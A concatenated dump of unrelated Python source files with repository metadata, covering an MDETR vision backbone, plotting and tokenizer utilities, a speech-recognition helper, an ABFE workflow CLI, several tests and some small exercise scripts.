torch.zeros(n))\n self.register_buffer(\"running_mean\", torch.zeros(n))\n self.register_buffer(\"running_var\", torch.ones(n))\n\n def _load_from_state_dict(\n self, state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs\n ):\n num_batches_tracked_key = prefix + \"num_batches_tracked\"\n if num_batches_tracked_key in state_dict:\n del state_dict[num_batches_tracked_key]\n\n super(FrozenBatchNorm2d, self)._load_from_state_dict(\n state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs\n )\n\n def forward(self, x):\n # move reshapes to the beginning\n # to make it fuser-friendly\n w = self.weight.reshape(1, -1, 1, 1)\n b = self.bias.reshape(1, -1, 1, 1)\n rv = self.running_var.reshape(1, -1, 1, 1)\n rm = self.running_mean.reshape(1, -1, 1, 1)\n eps = 1e-5\n scale = w * (rv + eps).rsqrt()\n bias = b - rm * scale\n return x * scale + bias\n\n\nclass BackboneBase(nn.Module):\n def __init__(self, backbone: nn.Module, train_backbone: bool, num_channels: int, return_interm_layers: bool):\n super().__init__()\n for name, parameter in backbone.named_parameters():\n if not train_backbone or \"layer2\" not in name and \"layer3\" not in name and \"layer4\" not in name:\n parameter.requires_grad_(False)\n if return_interm_layers:\n return_layers = {\"layer1\": \"0\", \"layer2\": \"1\", \"layer3\": \"2\", \"layer4\": \"3\"}\n else:\n return_layers = {\"layer4\": 0}\n self.body = IntermediateLayerGetter(backbone, return_layers=return_layers)\n self.num_channels = num_channels\n\n def forward(self, tensor_list):\n xs = self.body(tensor_list.tensors)\n out = OrderedDict()\n for name, x in xs.items():\n mask = F.interpolate(tensor_list.mask[None].float(), size=x.shape[-2:]).bool()[0]\n out[name] = NestedTensor(x, mask)\n return out\n\n\nclass Backbone(BackboneBase):\n \"\"\"ResNet backbone with frozen BatchNorm.\"\"\"\n\n def __init__(self, name: str, train_backbone: bool, return_interm_layers: bool, dilation: bool):\n backbone = getattr(torchvision.models, name)(\n replace_stride_with_dilation=[False, False, dilation], pretrained=True, norm_layer=FrozenBatchNorm2d\n )\n num_channels = 512 if name in (\"resnet18\", \"resnet34\") else 2048\n super().__init__(backbone, train_backbone, num_channels, return_interm_layers)\n\n\nclass GroupNorm32(torch.nn.GroupNorm):\n def __init__(self, num_channels, num_groups=32, **kargs):\n super().__init__(num_groups, num_channels, **kargs)\n\n\nclass GroupNormBackbone(BackboneBase):\n \"\"\"ResNet backbone with GroupNorm with 32 channels.\"\"\"\n\n def __init__(self, name: str, train_backbone: bool, return_interm_layers: bool, dilation: bool):\n name_map = {\n \"resnet50-gn\": (\"resnet50\", \"/checkpoint/szagoruyko/imagenet/22014122/checkpoint.pth\"),\n \"resnet101-gn\": (\"resnet101\", \"/checkpoint/szagoruyko/imagenet/22080524/checkpoint.pth\"),\n }\n backbone = getattr(torchvision.models, name_map[name][0])(\n replace_stride_with_dilation=[False, False, dilation], pretrained=False, norm_layer=GroupNorm32\n )\n checkpoint = torch.load(name_map[name][1], map_location=\"cpu\")\n state_dict = {k[7:]: p for k, p in checkpoint[\"model\"].items()}\n backbone.load_state_dict(state_dict)\n num_channels = 512 if name_map[name][0] in (\"resnet18\", \"resnet34\") else 2048\n super().__init__(backbone, train_backbone, num_channels, return_interm_layers)\n\n\ndef replace_bn(m, name=\"\"):\n for attr_str in dir(m):\n target_attr = getattr(m, attr_str)\n if isinstance(target_attr, torch.nn.BatchNorm2d):\n frozen = FrozenBatchNorm2d(target_attr.num_features)\n bn = getattr(m, attr_str)\n frozen.weight.data.copy_(bn.weight)\n frozen.bias.data.copy_(bn.bias)\n frozen.running_mean.data.copy_(bn.running_mean)\n frozen.running_var.data.copy_(bn.running_var)\n setattr(m, attr_str, frozen)\n for n, ch in m.named_children():\n replace_bn(ch, n)\n\n\nclass GN_8(nn.Module):\n def __init__(self, num_channels):\n super().__init__()\n self.gn = torch.nn.GroupNorm(8, num_channels)\n\n def forward(self, x):\n return self.gn(x)\n\n\nclass TimmBackbone(nn.Module):\n def __init__(self, name, return_interm_layers, main_layer=-1, group_norm=False):\n super().__init__()\n backbone = create_model(name, pretrained=True, in_chans=3, features_only=True, out_indices=(1, 2, 3, 4))\n\n with torch.no_grad():\n replace_bn(backbone)\n num_channels = backbone.feature_info.channels()[-1]\n self.body = backbone\n self.num_channels = num_channels\n self.interm = return_interm_layers\n self.main_layer = main_layer\n\n def forward(self, tensor_list):\n xs = self.body(tensor_list.tensors)\n if not self.interm:\n xs = [xs[self.main_layer]]\n out = OrderedDict()\n for i, x in enumerate(xs):\n mask = F.interpolate(tensor_list.mask[None].float(), size=x.shape[-2:]).bool()[0]\n out[f\"layer{i}\"] = NestedTensor(x, mask)\n return out\n\n\nclass Joiner(nn.Sequential):\n def __init__(self, backbone, position_embedding):\n super().__init__(backbone, position_embedding)\n\n def forward(self, tensor_list):\n xs = self[0](tensor_list)\n out = []\n pos = []\n for name, x in xs.items():\n out.append(x)\n # position encoding\n pos.append(self[1](x).to(x.tensors.dtype))\n\n return out, pos\n\n\ndef build_backbone(args):\n position_embedding = build_position_encoding(args)\n train_backbone = args.lr_backbone > 0\n return_interm_layers = args.masks\n if args.backbone[: len(\"timm_\")] == \"timm_\":\n backbone = TimmBackbone(\n args.backbone[len(\"timm_\") :],\n return_interm_layers,\n main_layer=-1,\n group_norm=True,\n )\n elif args.backbone in (\"resnet50-gn\", \"resnet101-gn\"):\n backbone = GroupNormBackbone(args.backbone, train_backbone, return_interm_layers, args.dilation)\n else:\n backbone = Backbone(args.backbone, train_backbone, return_interm_layers, args.dilation)\n model = Joiner(backbone, position_embedding)\n model.num_channels = backbone.num_channels\n return model\n","repo_name":"ashkamath/mdetr","sub_path":"models/backbone.py","file_name":"backbone.py","file_ext":"py","file_size_in_byte":7351,"program_lang":"python","lang":"en","doc_type":"code","stars":901,"dataset":"github-code","pt":"3"} +{"seq_id":"38302020258","text":"import os\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom typing import Optional\n\nfrom cuppa.logger import LoggerMixin\n\nclass PlotnineFigExporter(LoggerMixin):\n def __init__(\n self,\n width: int | float = 16,\n height: int | float = 10,\n dpi: int = 300,\n verbose: bool = True\n ):\n self.width = width\n self.height = height\n self.dpi = dpi\n self.verbose = verbose\n\n def _check_input(self, fig: matplotlib.figure.Figure):\n\n if isinstance(fig, matplotlib.figure.Figure):\n return fig\n\n self.logger.error(\"`fig` must be of class `matplotlib.figure.Figure`\")\n raise TypeError\n\n def _check_path(self, path: str):\n if path is None:\n path = os.path.expanduser('~/Desktop/plot.pdf')\n self.logger.warning(\"No path was specified. Using: \" + path)\n\n return path\n\n def export(\n self,\n fig: matplotlib.figure.Figure,\n path: Optional[str]\n ):\n path = self._check_path(path)\n\n fig = self._check_input(fig)\n fig.set_size_inches(self.width, self.height)\n fig.savefig(path, dpi=self.dpi, bbox_inches='tight')\n plt.close()\n","repo_name":"hartwigmedical/hmftools","sub_path":"cuppa/src/main/python/pycuppa/cuppa/misc/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"3"} +{"seq_id":"26617975667","text":"#!pip install quantecon\nimport numpy as np\nimport pandas as pd\nimport random\nimport csv\nimport quantecon as qe\nimport numpy as np\nimport pandas as pd\n# k-means проверить разделит ли на кластеры (4)\n#-------------- инициализация --------------------\nN=1000\n\ndata=list(range(4))\n\n#print((data))\ntv = [[0.25, 0.25, 0.25, 0.25],\n [1/3, 1/3, 1/3, 0],\n [0.5, 0.5, 0, 0],\n [0.5, 0, 0, 0.5]]\n\ntn = [[0.5, 0, 0, 0.5],\n [0, 0, 0.5, 0.5],\n [0, 1/3, 1/3, 1/3],\n [0.25, 0.25, 0.25, 0.25]]\n\nbp = [[0, 0, 0.5, 0.5],\n [0, 0, 0.5, 0.5],\n [0.5, 0.5, 0, 0],\n [0.5, 0.5, 0, 0]]\n\nbl = [[0.5, 0.5, 0, 0],\n [0.5, 0.5, 0, 0],\n [0, 0, 0.5, 0.5],\n [0, 0, 0.5, 0.5]]\n\n\n\ndef generate_sequance(data, len): # data- массив элементов, из которого генерируется последовательность , len - длина последовательности\n list = []\n for i in range(len):\n list.append(random.choice(data))\n return list\n\n\ndef generate_vector_of_probabilities(lenData, lenMAX):\n l = list(map(lambda x: random.randint(0,lenMAX), range(lenData)))\n summ = sum(l)\n return list(map(lambda x: (l[x]/summ), range(lenData)))\n#print(generate_vector_of_probabilities(len(data), 10))\n\n\n\n''' ЗАПИСЬ В CSW файл: '''\nTOP = [['sequance', 'matrix']] #'w'\nfor i in list(map(lambda x: 'a%i'%x , range(2,N+1))):\n TOP[0].append(i)\nnameFile = 'data.csv'\n\ntopSeq = [['num', 'sequance', 'probabilities']]\nseqFile = 'sequance.csv'\ndef write_to_csw(data, nameFile, type='a'):\n File = open(nameFile, type)\n with File:\n writer = csv.writer(File)\n writer.writerows(data)\n\nwrite_to_csw(TOP, nameFile, 'w')\nwrite_to_csw(topSeq, seqFile, 'w')\n\n#--------------- main ------------------\ndef run(p, name, sequence, num, vector_of_probabilities):\n\n data_of_new_seq=[num, name]\n #sequence = generate_sequance(data, N)\n #print([n,' '.join(sequence)])\n #vector_of_probabilities =generate_vector_of_probabilities(len(data), N)\n write_to_csw([[num, ''.join(str(x) for x in sequence), '-'.join(str(x) for x in vector_of_probabilities)]], seqFile)\n\n\n matrix_of_probabilities=[vector_of_probabilities]\n for i in sequence[1:]:\n new=[0]*len(data)\n for j in range(len(data)):\n #print(matrix_of_probabilities)\n new[data.index(i)]+=matrix_of_probabilities[-1][j]*p[j][data.index(i)]\n matrix_of_probabilities.append(new)\n data_of_new_seq.append(sum(matrix_of_probabilities[-1]))\n write_to_csw([data_of_new_seq], nameFile)\n\n\n #print(matrix_of_probabilities)\n #print('probabiliti = ',sum(matrix_of_probabilities[-1]))\n\n\n\n\nm1 = [tv, tn, bl, bp]\nm2 = ['tv', 'tn', 'bl', 'bp']\nfor j in range(100):\n #sequence = generate_sequance(data, N)\n vector_of_probabilities = generate_vector_of_probabilities(len(data), N)\n for i in range(4):\n mc1 = qe.MarkovChain(m1[i])\n sequence = mc1.simulate(N, random_state=None)\n for k in range(4):\n run(m1[k], m2[k], sequence, j+i, vector_of_probabilities)\n\n\nprint('done')\n\n\n#p1 = ([\n# [0.1, 0.5, 0.4],\n# [0.3, 0.3, 0.4],\n# [0.8, 0.1, 0.1]])\n#\n#p2 = ([\n# [0.1, 0.5, 0.4],\n# [0.3, 0.3, 0.4],\n# [0.8, 0, 0.2]])\n#\n#p3 = ([\n# [0.5, 0, 0.5],\n# [0.05,0.05,0.9],\n# [0.05,0.9,0.05]])\n#\n#p4 = ([\n# [1/3, 1/3 , 1/3],\n# [1/3, 1/3 , 1/3],\n# [1/3, 1/3 , 1/3]])\n","repo_name":"KseniiaKarpova/data_analysis","sub_path":"Рабинер/alg.py","file_name":"alg.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33403062122","text":"import speech_recognition as sr\n\n\ndef listen_from_mic():\n \"\"\"Transcribe audio recorded from the microphone.\n\n Returns a dictionary with three keys:\n \"success\": a boolean indicating whether the API request was successful\n \"error\": `None` if no error occurred, otherwise a string containing\n an error message if the API could not be reached or\n speech was unrecognizable\n \"command\": `None` if speech could not be transcribed,\n otherwise a string containing the transcribed text\n \"\"\"\n # speech_recognition Setup\n recognizer = sr.Recognizer()\n mic = sr.Microphone()\n\n # check that recognizer and microphone arguments are appropriate type\n if not isinstance(recognizer, sr.Recognizer):\n raise TypeError(\"`recognizer` must be `Recognizer` instance\")\n\n if not isinstance(mic, sr.Microphone):\n raise TypeError(\"`microphone` must be `Microphone` instance\")\n\n # adjust the recognizer sensitivity to ambient noise and record audio\n # from the microphone\n with mic as source:\n print(\"Listening...\")\n recognizer.adjust_for_ambient_noise(source)\n voice = recognizer.listen(source, phrase_time_limit=15)\n\n # set up the response object\n response = {\n \"success\": True,\n \"error\": None,\n \"command\": None\n }\n\n # try to recognize text from the mic\n try:\n response[\"command\"] = recognizer.recognize_google(voice).lower()\n except sr.RequestError:\n # API was unreachable or unresponsive\n response[\"success\"] = False\n response[\"error\"] = \"API unavailable\"\n except sr.UnknownValueError:\n # speech was unintelligible\n response[\"error\"] = \"Unable to recognize speech\"\n\n return response","repo_name":"derekbeistad/Aardvark_Virtual_Assistant","sub_path":"capture_voice.py","file_name":"capture_voice.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14693410191","text":"class cosmetics:\r\n def __init__(self,prdt_id,prdt_name,fruitInOrNot):\r\n self.prdt_id=prdt_id\r\n self.prdt_name=prdt_name\r\n self.fruitInOrNot=fruitInOrNot\r\nlist=[]\r\nN=int(input(\"Enter the number of products:\"))\r\nfor i in range(0,N):\r\n print(\"Enter the product id of\",i,\"th element:\")\r\n p_id=int(input())\r\n print(\"Enter the product name of\",i,\"th element:\")\r\n p_name=input()\r\n print(\"Fruit present or not:(0/1)\")\r\n fi_n=int(input())\r\n list.append(cosmetics(p_id,p_name,fi_n))\r\n\r\nprint(\"Details of cosmetics with the fruit:\") \r\nfor obj in list:\r\n if obj.fruitInOrNot==1:\r\n print(obj.prdt_id,obj.prdt_name,sep=\" \")\r\n","repo_name":"raichalvarghese/Python","sub_path":"cosmetics.py","file_name":"cosmetics.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36187908832","text":"import json\nimport unittest\n\nimport webapp2\nimport webtest\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.ext import testbed\n\nfrom dashboard.pinpoint.handlers import jobs\nfrom dashboard.pinpoint.models import job as job_module\n\n\nclass JobsTest(unittest.TestCase):\n\n def setUp(self):\n app = webapp2.WSGIApplication([\n webapp2.Route(r'/jobs', jobs.Jobs),\n ])\n self.testapp = webtest.TestApp(app)\n self.testapp.extra_environ.update({'REMOTE_ADDR': 'remote_ip'})\n\n self.testbed = testbed.Testbed()\n self.testbed.activate()\n self.testbed.init_datastore_v3_stub()\n self.testbed.init_memcache_stub()\n ndb.get_context().clear_cache()\n\n def tearDown(self):\n self.testbed.deactivate()\n\n def testPost_ValidRequest(self):\n # Create job.\n job = job_module.Job.New(\n configuration='Mac',\n test_suite='suite',\n test='filter',\n metric='metric',\n auto_explore=True)\n job.put()\n\n data = json.loads(self.testapp.post('/jobs').body)\n\n self.assertEqual(1, data['jobs_count'])\n self.assertEqual(1, len(data['jobs_list']))\n self.assertEqual(job.AsDict(), data['jobs_list'][0])\n","repo_name":"martyr-deepin/qcef-chromium","sub_path":"src/third_party/catapult/dashboard/dashboard/pinpoint/handlers/jobs_test.py","file_name":"jobs_test.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"5003790783","text":"N = int(input())\narr = []\nfor n in range(N):\n x, y = map(int,input().split())\n arr.append((x,y))\n# print(arr)\n\nrank = [1] * N\nfor i in range(N):\n for j in range(N):\n if j == i:\n continue\n else:\n # print(arr[j][0])\n if arr[i][0] < arr[j][0] and arr[i][1] < arr[j][1]:\n rank[i] += 1\n\nprint(' '.join(map(str,rank)))\n# print(*rank)","repo_name":"sskong777/Algorithm","sub_path":"BaekJoon/brute_force/boj7568.py","file_name":"boj7568.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"36752779237","text":"# 시간초과\nimport sys\nsys.stdin = open('배열최소합_input.txt')\n\n\ndef process_solution(a, k, sum):\n if sumlist:\n if sum >= min(sumlist):\n return\n list = []\n sum = 0\n for i in range(1, k+1):\n list.append(data[a[i]])\n perm = [(idx, val) for idx, val in enumerate(list)]\n for i in range(len(perm)):\n sum += arr[perm[i][0]][perm[i][1]-1]\n sumlist.append(sum)\n\ndef make_candidate(a, k, input, c):\n in_perm = [False] * NMAX\n\n for i in range(1, k):\n in_perm[a[i]] = True\n\n ncands = 0\n for i in range(1, input+1):\n if in_perm[i] == False:\n c[ncands] = i\n ncands += 1\n return ncands\n\n\ndef backtrack(a, k, input, sum):\n if sumlist:\n if sum >= min(sumlist):\n return\n global MAXCANDIDATES, cnt\n c = [0] * MAXCANDIDATES\n\n if k == input:\n process_solution(a, k, sum)\n cnt += 1\n\n else:\n k += 1\n ncands = make_candidate(a, k, input, c)\n for i in range(ncands):\n a[k] = c[i]\n #arr[k-1][data[a[k]-1]]\n backtrack(a, k, input, sum)\n\nT = int(input())\nfor tc in range(T):\n n = int(input())\n arr = [list(map(int, input().split())) for _ in range(n)]\n data = list(range(n+1))\n\n MAXCANDIDATES = n+1\n NMAX = n+1\n cnt = 0\n sumlist = []\n a = [0]*NMAX\n backtrack(a, 0, n, 0)\n print(f'#{tc+1} {min(sumlist)}')","repo_name":"withyeah/TodayILearned","sub_path":"Algorithm/Lecture_exercise_code/20190219/배열최소합_실패.py","file_name":"배열최소합_실패.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11782929562","text":"import logging\nimport itertools\nfrom textblob import TextBlob\n\nfrom topik.tokenizers.simple import _simple_document\n\n# imports used only for doctests\nfrom topik.tokenizers._registry import register\n\nsample_corpus = [\n (\"doc1\", str(u\"Frank the Swank-Tank walked his sassy unicorn, Brony,\"\n u\" to prancercise class daily. Prancercise was \"\n u\"a tremendously popular pastime of sassy \"\n u\"unicorns and retirees alike.\")),\n (\"doc2\", str(u\"Prancercise is a form of both art and fitniss, \"\n u\"originally invented by sassy unicorns. It has \"\n u\"recently been popularized by such retired \"\n u\"celebrities as Frank The Swank-Tank.\"))]\n\ndef _collect_entities(raw_corpus, freq_min=2, freq_max=10000):\n \"\"\"Return noun phrases from collection of documents.\n\n Parameters\n ----------\n raw_corpus: Corpus-base derived object or iterable collection of raw text\n freq_min: int\n Minimum frequency of a noun phrase occurrences in order to retrieve it. Default is 2.\n freq_max: int\n Maximum frequency of a noun phrase occurrences in order to retrieve it. Default is 10000.\n\n Examples\n --------\n >>> ents = _collect_entities(sample_corpus)\n >>> ents == {'swank-tank', 'prancercise', 'sassy unicorns', 'frank'}\n True\n \"\"\"\n\n np_counts_total = {}\n docs_examined = 0\n for doc_id, doc_text in raw_corpus:\n if docs_examined > 0 and docs_examined % 1000 == 0:\n sorted_phrases = sorted(np_counts_total.items(),\n key=lambda item: -item[1])\n np_counts_total = dict(sorted_phrases)\n logging.info(\"at document #%i, considering %i phrases: %s...\" %\n (docs_examined, len(np_counts_total), sorted_phrases[0]))\n\n for np in TextBlob(doc_text).noun_phrases:\n np_counts_total[np] = np_counts_total.get(np, 0) + 1\n docs_examined += 1\n\n # Remove noun phrases in the list that have higher frequencies than 'freq_max' or lower frequencies than 'freq_min'\n np_counts = {}\n for np, count in np_counts_total.items():\n if freq_max >= count >= freq_min:\n np_counts[np] = count\n\n return set(np_counts)\n\n\ndef _tokenize_entities_document(text, entities, min_length=1, stopwords=None):\n '''\n A text tokenizer that passes only terms (a.k.a. 'entities') explicitly\n contained in the entities argument.\n\n Parameters\n ----------\n text : str\n A single text document to be tokenized\n entities : iterable of str\n Collection of noun phrases, obtained from collect_entities function\n min_length : int\n Minimum length of any single word\n stopwords : None or iterable of str\n Collection of words to ignore as tokens\n\n Examples\n --------\n >>> ents = _collect_entities(sample_corpus)\n >>> text = sample_corpus[0][1]\n >>> tokenized_text = _tokenize_entities_document(text,ents)\n >>> tokenized_text == [\n ... u'frank', u'swank_tank', u'prancercise', u'sassy_unicorns']\n True\n '''\n result = []\n for np in TextBlob(text).noun_phrases:\n if np in entities:\n # filter out stop words\n tmp = \"_\".join(_simple_document(np, min_length=min_length, stopwords=stopwords))\n # if we end up with nothing, don't append an empty string\n if tmp:\n result.append(tmp)\n return result\n\n\ndef _tokenize_mixed_document(text, entities, min_length=1, stopwords=None):\n \"\"\"\n A text tokenizer that retrieves entities ('noun phrases') first and simple words for the rest of the text.\n\n Parameters\n ----------\n text : str\n A single text document to be tokenized\n entities : iterable of str\n Collection of noun phrases, obtained from collect_entities function\n min_length : int\n Minimum length of any single word\n stopwords : None or iterable of str\n Collection of words to ignore as tokens\n\n Examples\n --------\n >>> ents = _collect_entities(sample_corpus)\n >>> text = sample_corpus[0][1]\n >>> tokenized_text = _tokenize_mixed_document(text,ents)\n >>> tokenized_text == [u'frank', u'swank_tank', u'sassy', u'unicorn',\n ... u'brony', u'prancercise', u'class', u'prancercise', u'popular',\n ... u'pastime', u'sassy_unicorns']\n True\n \"\"\"\n result = []\n for np in TextBlob(text).noun_phrases:\n if ' ' in np and np not in entities:\n # break apart the noun phrase; it does not occur often enough in the collection of text to be considered.\n result.extend(_simple_document(np, min_length=min_length, stopwords=stopwords))\n else:\n # filter out stop words\n tmp = \"_\".join(_simple_document(np, min_length=min_length, stopwords=stopwords))\n # if we end up with nothing, don't append an empty string\n if tmp:\n result.append(tmp)\n return result\n\n\n@register\ndef entities(corpus, min_length=1, freq_min=2, freq_max=10000, stopwords=None):\n \"\"\"\n A tokenizer that extracts noun phrases from a corpus, then tokenizes all\n documents using those extracted phrases.\n\n Parameters\n ----------\n corpus : iterable of str\n A collection of text to be tokenized\n min_length : int\n Minimum length of any single word\n freq_min : int\n Minimum occurrence of phrase in order to be considered\n freq_max : int\n Maximum occurrence of phrase, beyond which it is ignored\n stopwords : None or iterable of str\n Collection of words to ignore as tokens\n\n Examples\n --------\n >>> tokenized_corpora = entities(sample_corpus)\n >>> next(tokenized_corpora) == ('doc1',\n ... [u'frank', u'swank_tank', u'prancercise', u'sassy_unicorns'])\n True\n \"\"\"\n # Tee in case it is a generator (else it will get exhausted).\n corpus_iterator = itertools.tee(corpus, 2)\n entities = _collect_entities(corpus_iterator[0], freq_min=freq_min, freq_max=freq_max)\n for doc_id, doc_text in corpus_iterator[1]:\n yield doc_id, _tokenize_entities_document(doc_text, entities, min_length=min_length,\n stopwords=stopwords)\n\n\n@register\ndef mixed(corpus, min_length=1, freq_min=2, freq_max=10000, stopwords=None):\n \"\"\"A text tokenizer that retrieves entities ('noun phrases') first and simple words for the rest of the text.\n\n Parameters\n ----------\n corpus : iterable of str\n A collection of text to be tokenized\n min_length : int\n Minimum length of any single word\n freq_min : int\n Minimum occurrence of phrase in order to be considered\n freq_max : int\n Maximum occurrence of phrase, beyond which it is ignored\n stopwords : None or iterable of str\n Collection of words to ignore as tokens\n\n Examples\n --------\n >>> tokenized_corpora = entities(sample_corpus)\n >>> next(tokenized_corpora) == ('doc1',\n ... [u'frank', u'swank_tank', u'prancercise', u'sassy_unicorns'])\n True\n \"\"\"\n corpus_iterators = itertools.tee(corpus, 2)\n entities = _collect_entities(corpus_iterators[0], freq_min=freq_min, freq_max=freq_max)\n for doc_id, doc_text in corpus_iterators[1]:\n yield doc_id, _tokenize_mixed_document(doc_text, entities,\n min_length=min_length,\n stopwords=stopwords)\n","repo_name":"ContinuumIO/topik","sub_path":"topik/tokenizers/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":7554,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"3"} +{"seq_id":"1849943160","text":"#!/usr/bin/env python3\n\nimport glob\nimport argparse\n\nfrom abfe.calculate_abfe_gmx import calculate_abfe_gmx\n\nimport logging\nloggers = [logging.getLogger(name) for name in logging.root.manager.loggerDict]\nfor logger in loggers:\n logger.setLevel(logging.NOTSET)\n\n\ndef main():\n # ARGPARSE\n parser = argparse.ArgumentParser()\n parser.add_argument('-d', \"--gmx_files_root_dir\", help='Input folder containing all the gmx files in the structure /[solvent, '\n 'complex]/[*.gro, *.top]', required=True, type=str)\n parser.add_argument('-o', \"--output_dir_path\", help='Output approach folder', required=True, type=str)\n parser.add_argument('-c', \"--cofactor_sdf_path\", help='Input cofactor(s) sdf file path', required=False, default=None, type=str)\n parser.add_argument('-pn', \"--project_name\", help='name prefix of jobs, etc.', required=False, type=str, default=\"ABFE\")\n parser.add_argument('-nr', \"--number_of_replicates\", help='Number of replicates', required=False, default=3, type=int)\n parser.add_argument('-njr', \"--number_of_parallel_receptor_jobs\", help='Number of jobs in parallel for receptor workflow', required=False, default=None,\n type=int)\n parser.add_argument('-njl', \"--number_of_parallel_ligand_jobs\", help='Number of jobs in parallel for ligand workflow', required=False, default=40, type=int)\n parser.add_argument('-ncl', \"--number_of_cpus_per_ligand_job\", help='Number of cpus per ligand job', required=False, default=8, type=int)\n parser.add_argument('-nosubmit', help='Will automatically submit the ABFE calculations', required=False, action='store_false')\n parser.add_argument('-nogpu', help='shall gpus be used for the submissions? WARNING: Currently Not working', required=False, action='store_true')\n parser.add_argument('-nohybrid', help='hybrid flag executes complex jobs on gpu and ligand jobs on cpu (requires gpu flag) WARNING: Currently Not working',\n required=False,\n action='store_true')\n\n args = parser.parse_args()\n print(args.nogpu)\n\n if (not bool(args.nogpu)):\n cluster_config = {\n \"partition\": \"gpu\",\n \"time\": \"60:00:00\",\n \"mem\": \"5000\",\n }\n\n else:\n cluster_config = {\n \"partition\": \"cpu\",\n \"time\": \"60:00:00\",\n \"mem\": \"5000\",\n }\n\n res = calculate_abfe_gmx(input_dir=args.gmx_files_root_dir, out_root_folder_path=args.output_dir_path, approach_name=args.project_name,\n n_cores_per_job=args.number_of_cpus_per_ligand_job, num_jobs_per_ligand=args.number_of_parallel_ligand_jobs,\n num_jobs_receptor_workflow=args.number_of_parallel_receptor_jobs,\n num_replicas=args.number_of_replicates,\n submit=bool(args.nosubmit), use_gpu=not bool(args.nogpu), hybrid_job=not bool(args.nohybrid),\n cluster_config=cluster_config)\n\n return res\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bigginlab/ABFE_workflow","sub_path":"src/abfe_cli/ABFECalculatorGmx.py","file_name":"ABFECalculatorGmx.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"32187125700","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom collections import OrderedDict\nfrom math import exp, pi\n\nimport torch\nfrom torch import optim\n\nimport gpytorch\nfrom gpytorch.distributions import MultivariateNormal\nfrom gpytorch.kernels import SpectralMixtureKernel\nfrom gpytorch.likelihoods import GaussianLikelihood\nfrom gpytorch.means import ConstantMean\nfrom gpytorch.priors import SmoothedBoxPrior\nfrom gpytorch.test.base_test_case import BaseTestCase\n\n\n# Simple training data: let's try to learn a sine function\ntrain_x = torch.linspace(0, 1, 15)\ntrain_y = torch.sin(train_x * (2 * pi))\n\n# Spectral mixture kernel should be able to train on\n# data up to x=0.75, but test on data up to x=2\ntest_x = torch.linspace(0, 1.5, 51)\ntest_y = torch.sin(test_x * (2 * pi))\n\ngood_state_dict = OrderedDict(\n [\n (\"likelihood.log_noise\", torch.tensor([-5.0])),\n (\"mean_module.raw_constant\", torch.tensor([0.4615])),\n (\"covar_module.log_mixture_weights\", torch.tensor([-0.7277, -15.1212, -0.5511, -6.3787]).unsqueeze(0)),\n (\n \"covar_module.log_mixture_means\",\n torch.tensor([[-0.1201], [0.6013], [-3.7319], [0.2380]]).unsqueeze(0).unsqueeze(-2),\n ),\n (\n \"covar_module.log_mixture_scales\",\n torch.tensor([[-1.9713], [2.6217], [-3.9268], [-4.7071]]).unsqueeze(0).unsqueeze(-2),\n ),\n ]\n)\n\n\nclass SpectralMixtureGPModel(gpytorch.models.ExactGP):\n def __init__(self, train_x, train_y, likelihood, empspect=False):\n super(SpectralMixtureGPModel, self).__init__(train_x, train_y, likelihood)\n self.mean_module = ConstantMean(constant_prior=SmoothedBoxPrior(-1, 1))\n self.covar_module = SpectralMixtureKernel(num_mixtures=4, ard_num_dims=1)\n if empspect:\n self.covar_module.initialize_from_data(train_x, train_y)\n else:\n self.covar_module.initialize_from_data_empspect(train_x, train_y)\n\n def forward(self, x):\n mean_x = self.mean_module(x)\n covar_x = self.covar_module(x)\n return MultivariateNormal(mean_x, covar_x)\n\n\nclass TestSpectralMixtureGPRegression(BaseTestCase, unittest.TestCase):\n seed = 4\n\n def test_spectral_mixture_gp_mean_abs_error_empspect_init(self):\n return self.test_spectral_mixture_gp_mean_abs_error(empspect=True)\n\n def test_spectral_mixture_gp_mean_abs_error(self, empspect=False):\n likelihood = GaussianLikelihood(noise_prior=SmoothedBoxPrior(exp(-5), exp(3), sigma=0.1))\n gp_model = SpectralMixtureGPModel(train_x, train_y, likelihood, empspect=empspect)\n mll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, gp_model)\n\n # Optimize the model\n gp_model.train()\n likelihood.train()\n optimizer = optim.Adam(list(gp_model.parameters()), lr=0.01)\n optimizer.n_iter = 0\n\n if not empspect:\n gp_model.load_state_dict(good_state_dict, strict=False)\n\n for i in range(300):\n optimizer.zero_grad()\n output = gp_model(train_x)\n loss = -mll(output, train_y)\n loss.backward()\n optimizer.n_iter += 1\n optimizer.step()\n\n if i == 0:\n for param in gp_model.parameters():\n self.assertTrue(param.grad is not None)\n # TODO: Uncomment when we figure out why this is flaky.\n # self.assertGreater(param.grad.norm().item(), 0.)\n\n # Test the model\n with torch.no_grad():\n gp_model.eval()\n likelihood.eval()\n test_preds = likelihood(gp_model(test_x)).mean\n mean_abs_error = torch.mean(torch.abs(test_y - test_preds))\n\n # The spectral mixture kernel should be trivially able to\n # extrapolate the sine function.\n self.assertLess(mean_abs_error.squeeze().item(), 0.02)\n\n\nif __name__ == \"__main__\":\n 